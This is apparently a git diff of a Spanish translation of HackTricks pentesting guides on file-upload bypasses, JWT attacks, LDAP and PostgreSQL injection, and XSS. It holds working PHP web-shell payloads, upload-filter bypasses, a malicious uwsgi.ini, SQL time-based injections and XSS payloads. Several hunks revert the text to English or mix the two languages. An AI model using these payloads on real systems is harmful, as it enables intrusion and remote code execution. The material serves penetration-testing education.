-6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
-* _ej: file.php.png_
-7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
-8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
+6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
+* _ex: file.php.png_
+7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
+8.  Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
 
 ```
-# Linux máximo 255 bytes
+# Linux maximum 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aquí y agregando .png
-# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
+# Upload the file and check response how many characters it alllows. Let's say 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Haz la carga
+# Make the payload
 AAA<--SNIP 232 A-->AAA.php.png
 ```
 
-### Bypass de Content-Type, Magic Number, Compresión y Redimensionamiento
+### Bypass Content-Type, Magic Number, Compression & Resizing
 
-* Elude las comprobaciones de **Content-Type** configurando el **valor** del **header** de **Content-Type** a: _image/png_, _text/plain_, application/octet-stream_
-1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
-* Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
+* Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
+1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+* Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` o también podrías **introducir la carga directamente** en una imagen:\
+`\` or you could also **introduce the payload directly** in an image:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
-* Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar la **técnica del chunk PLTE** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
-* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
-* La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar la **técnica del chunk IDAT** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
-* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
-* Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar la **técnica del chunk tEXt** [**definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
-* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
+* If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
+* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
+* The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you podría usar el **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
+* Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
+* [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
 
-### Otros trucos a verificar
+### Other Tricks to check
 
-* Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
-* Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
-* **Posible divulgación de información**:
-1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
-2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
-3. Subiendo un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
-4. Sube un archivo que puede no ser eliminado fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
-5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
-6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, y LPT9.
-* Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** cuando sea abierto accidentalmente por la víctima.
+* Find a vulnerability to **rename** the file already uploaded (to change the extension).
+* Find a **Local File Inclusion** vulnerability to execute the backdoor.
+* **Possible Information disclosure**:
+1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
+2. Upload a file with the **name** of a **file** or **folder** that **already exists**
+3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
+4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
+5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
+6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
+* Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
 
-### Trucos de extensiones especiales
+### Special extension tricks
 
-Si estás intentando subir archivos a un **servidor PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
-Si estás intentando subir archivos a un **servidor ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
+If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
 
-Los archivos `.phar` son como los `.jar` para java, pero para php, y pueden ser **usados como un archivo php** (ejecutándolo con php, o incluyéndolo dentro de un script...)
+The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
 
-La extensión `.inc` a veces se usa para archivos php que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **que esta extensión se ejecute**.
+The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
 
 ## **Jetty RCE**
 
-Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
+If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
 
 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
 
 ## **uWSGI RCE**
 
-Para una exploración detallada de esta vulnerabilidad, consulta la investigación original: [Explotación de RCE en uWSGI](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Las vulnerabilidades de Ejecución Remota de Comandos (RCE) pueden ser explotadas en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI aprovechan una sintaxis específica para incorporar variables "mágicas", marcadores de posición y operadores. Notablemente, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los diversos esquemas soportados en uWSGI, el esquema "exec" es particularmente potente, permitiendo la lectura de datos de la salida estándar de un proceso. Esta característica puede ser manipulada para fines nefastos como Ejecución Remota de Comandos o Escritura/lectura de Archivos Arbitrarios cuando se procesa un archivo de configuración `.ini`.
+Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
 
-Considera el siguiente ejemplo de un archivo `uwsgi.ini` dañino, mostrando varios esquemas:
+Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
 ```ini
 [uwsgi]
 ; read from a symbol
@@ -183,19 +183,19 @@ Note que **otra opción** que puede estar pensando para eludir esta verificació
 
 ## De la carga de archivos a otras vulnerabilidades
 
-* Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **path traversal**
-* Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **SQL injection**
+* Establezca **filename** en `../../../tmp/lol.png` y trate de lograr un **traversal de ruta**
+* Establezca **filename** en `sleep(10)-- -.jpg` y puede que logre una **inyección SQL**
 * Establezca **filename** en `<svg onload=alert(document.domain)>` para lograr un XSS
 * Establezca **filename** en `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
 * [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
-* **JS** archivo **upload** + **XSS** = [**explotación de Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
+* **Carga** de archivos **JS** + **XSS** = [explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
 * [**XXE en la carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
-* [**Open Redirect** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
-* Pruebe **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
+* [**Redirección Abierta** a través de la carga de archivos svg](../open-redirect.md#open-redirect-uploading-svg-files)
+* Pruebe **diferentes cargas útiles svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 * [Famosa vulnerabilidad **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
 * Si puede **indicar al servidor web que capture una imagen de una URL**, podría intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podría indicar una URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
 * [**XXE y CORS** eludir con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar un PDF que ejecute JS arbitrario siguiendo las indicaciones dadas.
+* PDFs especialmente diseñados para XSS: La [siguiente página presenta cómo **inyectar datos PDF para obtener ejecución de JS**](../xss-cross-site-scripting/pdf-injection.md). Si puede cargar PDFs, podría preparar algunos PDF que ejecuten JS arbitrario siguiendo las indicaciones dadas.
 * Cargue el \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) contenido para verificar si el servidor tiene algún **antivirus**
 * Verifique si hay algún **límite de tamaño** al cargar archivos
 
@@ -216,7 +216,7 @@ Aquí hay una lista de las 10 principales cosas que puede lograr al cargar (de [
 
 {% embed url="https://github.com/portswigger/upload-scanner" %}
 
-## Bytes de encabezado mágicos
+## Bytes de Encabezado Mágico
 
 * **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
 * **JPG**: `"\xff\xd8\xff"`
@@ -285,7 +285,7 @@ system($cmd);
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
-3.  **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para recorrer directorios.
+3.  **Modificación con un Editor Hexadecimal o vi**: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando "xxA" a "../" para atravesar directorios.
 
 ```bash
 :set modifiable
@@ -329,7 +329,7 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
 * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 

pentesting-web/hacking-jwt-json-web-tokens.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -121,7 +121,7 @@ Cuando el reclamo `kid` está presente en el encabezado, se recomienda buscar en
 
 #### Traversal de Ruta con "kid"
 
-El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor `kid` mientras se mantiene la firma original se puede lograr utilizando la bandera `-T` en jwt\_tool, como se demuestra a continuación:
+El reclamo `kid` también podría ser explotado para navegar a través del sistema de archivos, permitiendo potencialmente la selección de un archivo arbitrario. Es factible probar la conectividad o ejecutar ataques de Server-Side Request Forgery (SSRF) al alterar el valor de `kid` para apuntar a archivos o servicios específicos. Manipular el JWT para cambiar el valor de `kid` mientras se mantiene la firma original se puede lograr utilizando la bandera `-T` en jwt\_tool, como se demuestra a continuación:
 ```bash
 python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
 ```
@@ -215,7 +215,7 @@ openssl genrsa -out keypair.pem 2048
 openssl rsa -in keypair.pem -pubout -out publickey.crt
 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
 ```
-Puedes obtener el "n" y "e" utilizando este script de nodejs:
+Puedes obtener el "n" y "e" usando este script de nodejs:
 ```bash
 const NodeRSA = require('node-rsa');
 const fs = require('fs');
@@ -235,10 +235,10 @@ Aquí hay un ejemplo: [ECDSA: Revelando la clave privada, si se usa el mismo non
 
 ### JTI (JWT ID)
 
-La reclamación JTI (JWT ID) proporciona un identificador único para un token JWT. Se puede usar para evitar que el token sea reproducido.\
+El reclamo JTI (JWT ID) proporciona un identificador único para un token JWT. Se puede utilizar para evitar que el token sea reproducido.\
 Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-9999). Las solicitudes 0001 y 10001 van a usar el mismo ID. Así que si el backend está incrementando el ID en cada solicitud, podrías abusar de esto para **repetir una solicitud** (necesitando enviar 10000 solicitudes entre cada repetición exitosa).
 
-### Reclamaciones registradas de JWT
+### Reclamos registrados de JWT
 
 {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
 
@@ -246,13 +246,13 @@ Sin embargo, imagina una situación donde la longitud máxima del ID es 4 (0001-
 
 **Ataques de Relay entre servicios**
 
-Se ha observado que algunas aplicaciones web dependen de un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse en una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar repetir el token obtenido en una solicitud al objetivo para ver si es aceptado.
+Se ha observado que algunas aplicaciones web dependen de un servicio JWT de confianza para la generación y gestión de sus tokens. Se han registrado casos donde un token, generado para un cliente por el servicio JWT, fue aceptado por otro cliente del mismo servicio JWT. Si se observa la emisión o renovación de un JWT a través de un servicio de terceros, se debe investigar la posibilidad de registrarse para una cuenta en otro cliente de ese servicio utilizando el mismo nombre de usuario/correo electrónico. Luego, se debe intentar reproducir el token obtenido en una solicitud al objetivo para ver si es aceptado.
 
 * Un problema crítico puede ser indicado por la aceptación de tu token, lo que podría permitir la suplantación de la cuenta de cualquier usuario. Sin embargo, se debe tener en cuenta que puede ser necesario obtener permiso para pruebas más amplias si se registra en una aplicación de terceros, ya que esto podría entrar en un área gris legal.
 
-**Verificación de Expiración de Tokens**
+**Verificación de expiración de tokens**
 
-La expiración del token se verifica utilizando la reclamación "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y repetir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando la reclamación "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye una reclamación "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
+La expiración del token se verifica utilizando el reclamo "exp" del Payload. Dado que los JWT a menudo se emplean sin información de sesión, se requiere un manejo cuidadoso. En muchos casos, capturar y reproducir el JWT de otro usuario podría permitir la suplantación de ese usuario. El RFC de JWT recomienda mitigar los ataques de repetición de JWT utilizando el reclamo "exp" para establecer un tiempo de expiración para el token. Además, es crucial la implementación de verificaciones relevantes por parte de la aplicación para asegurar el procesamiento de este valor y el rechazo de tokens expirados. Si el token incluye un reclamo "exp" y los límites de tiempo de prueba lo permiten, se aconseja almacenar el token y reproducirlo después de que haya pasado el tiempo de expiración. El contenido del token, incluyendo el análisis de la marca de tiempo y la verificación de expiración (marca de tiempo en UTC), se puede leer utilizando la bandera -R de jwt_tool.
 
 * Puede haber un riesgo de seguridad si la aplicación aún valida el token, ya que esto podría implicar que el token nunca podría expirar.
 
@@ -260,7 +260,7 @@ La expiración del token se verifica utilizando la reclamación "exp" del Payloa
 
 {% embed url="https://github.com/ticarpi/jwt_tool" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

pentesting-web/ldap-injection.md

@@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -224,7 +224,7 @@ intitle:"phpLDAPadmin" inurl:cmd.php
 
 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

pentesting-web/sql-injection/postgresql-injection/README.md

@@ -15,7 +15,7 @@ Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png"
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y en hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -33,7 +33,7 @@ El **módulo de PostgreSQL `dblink`** ofrece capacidades para conectarse a otras
 
 Puedes [**leer este ejemplo**](dblink-lo\_import-data-exfiltration.md) para ver un ejemplo de CTF de **cómo cargar datos dentro de objetos grandes y luego exfiltrar el contenido de objetos grandes dentro del nombre de usuario** de la función `dblink_connect`.
 
-## Ataques de PostgreSQL: Leer/escribir, RCE, privesc
+## Ataques de PostgreSQL: Lectura/escritura, RCE, privesc
 
 Consulta cómo comprometer el host y escalar privilegios desde PostgreSQL en:
 
@@ -50,7 +50,7 @@ Manipular cadenas podría ayudarte a **eludir WAFs u otras restricciones**.\
 
 ### Consultas Apiladas
 
-Recuerda que PostgreSQL soporta consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Pero, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
+Recuerda que PostgreSQL soporta consultas apiladas, pero varias aplicaciones generarán un error si se devuelven 2 respuestas cuando se espera solo 1. Sin embargo, aún puedes abusar de las consultas apiladas a través de inyección de tiempo:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@@ -97,7 +97,7 @@ SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

pentesting-web/xss-cross-site-scripting/README.md

@@ -1,6 +1,6 @@
 # XSS (Cross Site Scripting)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 
@@ -8,7 +8,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
 
 ## Metodología
 
-1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
+1. Verifica si **cualquier valor que controles** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**.
 2. **Encuentra el contexto** donde se refleja/utiliza.
 3. Si está **reflejado**
 1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil:
@@ -30,7 +30,7 @@ Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **
 4. ¿Puedes eludir protecciones?
 4. Función de Javascript **siendo ejecutada**
 1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
-4. Si **utilizado**:
+4. Si está **utilizado**:
 1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es utilizada por algún sink.**
 
 Al trabajar en un XSS complejo, podría ser interesante saber sobre:
